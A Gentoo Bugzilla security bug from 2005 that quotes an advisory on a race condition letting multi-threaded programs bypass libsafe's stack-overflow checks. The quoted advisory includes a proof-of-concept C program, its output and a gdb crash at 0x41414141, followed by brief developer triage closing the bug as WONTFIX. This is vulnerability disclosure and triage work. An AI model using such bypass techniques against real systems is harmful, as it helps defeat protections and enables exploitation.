Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bugzilla DB migration completed. Please report issues to Infra team via email via infra@gentoo.org or IRC
Bug 89246 - sys-libs/libsafe: Safety Check Bypass Vulnerability
Summary: sys-libs/libsafe: Safety Check Bypass Vulnerability
Status: RESOLVED WONTFIX
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All All
: High trivial (vote)
Assignee: Gentoo Security
URL: http://www.securityfocus.com/archive/...
Whiteboard: ~4 [upstream+] jaervosz
Keywords:
: 90552 (view as bug list)
Depends on:
Blocks:
 
Reported: 2005-04-15 20:22 UTC by Luke Macken (RETIRED)
Modified: 2005-05-16 01:13 UTC (History)
2 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Luke Macken (RETIRED) gentoo-dev 2005-04-15 20:22:59 UTC
Overflow.pl Security Advisory #2

Libsafe - Safety Check Bypass Vulnerability

URL: http://www.overflow.pl/adv/libsafebypass.txt
Date: 04.05.2005


1. Background

Libsafe is a library that protect critical elements of stacks

http://www.research.avayalabs.com/project/libsafe/


2. Description

Attacker can bypass libsafe checking and exploit vulnerability witch is in
multi-threaded aplication.

As a example look at the code situated at the safe function strcpy():


char *strcpy(char *dest, const char *src)
{
    ...
    if (!real_strcpy)
      real_strcpy = (strcpy_t) getLibraryFunction("strcpy");
    ...
    if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
      LOG(5, "strcpy(<heap var> , <src>)\n");
      return real_strcpy(dest, src);
    }
    ...
    if ((len = strnlen(src, max_size)) == max_size)
      _libsafe_die("Overflow caused by strcpy()");
    ...
    
Function _libsafe_stackVariableP() checked length beetwen buffor and stack
frame. It should return 0 only in case when address does not point to a stack
variable. Look at the function code:


uint _libsafe_stackVariableP(void *addr) {
    ...
    /*
     * If _libsafe_die() has been called, then we don't need to do anymore
     * libsafe checking.
     */
    if (dying)
      return 0;
    ...

Function _libsafe_die() is called then attack is detected, variable "dying" is
set and at least aplication is killed. In case of multi-threaded programs, it is
possible to make attack before the end of _libsafe_die(), during the time while
checking is not active.


3. Detection

Current libsafe version (2.0.16) is vulnerable.


4. FIX

Probably the code from function _libsafe_stackVariableP can be only deleted:

    if (dying)
      return 0;


5. PoC

#include <pthread.h>
#include <stdio.h>

int ok = 0;

void *func1(void *none)
{
	char buf[8];
	while(1)
	{
		if(!ok)
			continue;
		strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
		break;
	}
	puts("func1 overflow!");
}

void *func2(void *none)
{
	char buf[8];
	ok = 1;
	strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	puts("func2 overflow!!");
}

int main()
{
	pthread_t t1, t2;
	
	pthread_create(&t1, NULL, &func1, NULL);
	pthread_create(&t2, NULL, &func2, NULL);
	
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	
	return 0;
}


bash-2.05b$ gcc -o thread thread.c -pthread


Normal state is:

bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
    uid=500  euid=500  pid=9235
Call stack:
    0x40019b1c  /lib/libsafe.so.2.0.16
    0x40019c4b  /lib/libsafe.so.2.0.16
    0x80484f5   /home/thread
    0x4002dc43  /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Killed


But then we run program many times:


bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
    uid=500  euid=500  pid=9217
func1 overflow!
Call stack:
    0x40019b1c  /lib/libsafe.so.2.0.16
    0x40019c4b  /lib/libsafe.so.2.0.16
    0x80484f5   /home/thread
    0x4002dc43  /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Segmentation fault (core dumped)

or ...

bash-2.05b$ ./thread
func1 overflow!
Segmentation fault (core dumped)

Core:

bash-2.05b$ gdb thread core.9254 
...
#0  0x41414141 in ?? ()
(gdb)
Comment 1 Luke Macken (RETIRED) gentoo-dev 2005-04-15 20:25:00 UTC
matsuu, please advise.
Comment 2 MATSUU Takuto (RETIRED) gentoo-dev 2005-04-19 14:15:54 UTC
I don't know the influence by the deletion of the code.
Comment 3 Thierry Carrez (RETIRED) gentoo-dev 2005-04-20 03:00:30 UTC
Maybe we should wait for upstream reaction on this...
Comment 4 SpanKY gentoo-dev 2005-04-26 16:06:51 UTC
*** Bug 90552 has been marked as a duplicate of this bug. ***
Comment 5 Sune Kloppenborg Jeppesen gentoo-dev 2005-05-11 07:31:26 UTC
Any upstream solution yet?
Comment 6 Thierry Carrez (RETIRED) gentoo-dev 2005-05-15 08:22:18 UTC
It's quite unmaintained in fact...
Comment 7 Sune Kloppenborg Jeppesen gentoo-dev 2005-05-15 22:18:28 UTC
If this is unmaintained and not stable on any arches, I propose to package.mask it.
Comment 8 Tavis Ormandy (RETIRED) gentoo-dev 2005-05-16 00:48:43 UTC
Maybe this should be closed as WONTFIX/UPSTREAM, nobody is worse off using libsafe. 
Comment 9 Thierry Carrez (RETIRED) gentoo-dev 2005-05-16 01:13:54 UTC
I agree with Tavis. Even if this was confirmed and verified, users are still better off using libsafe than not using it. It's unmaintained and ~ anyway, so it will die of it's own death. Reopen if you disagree.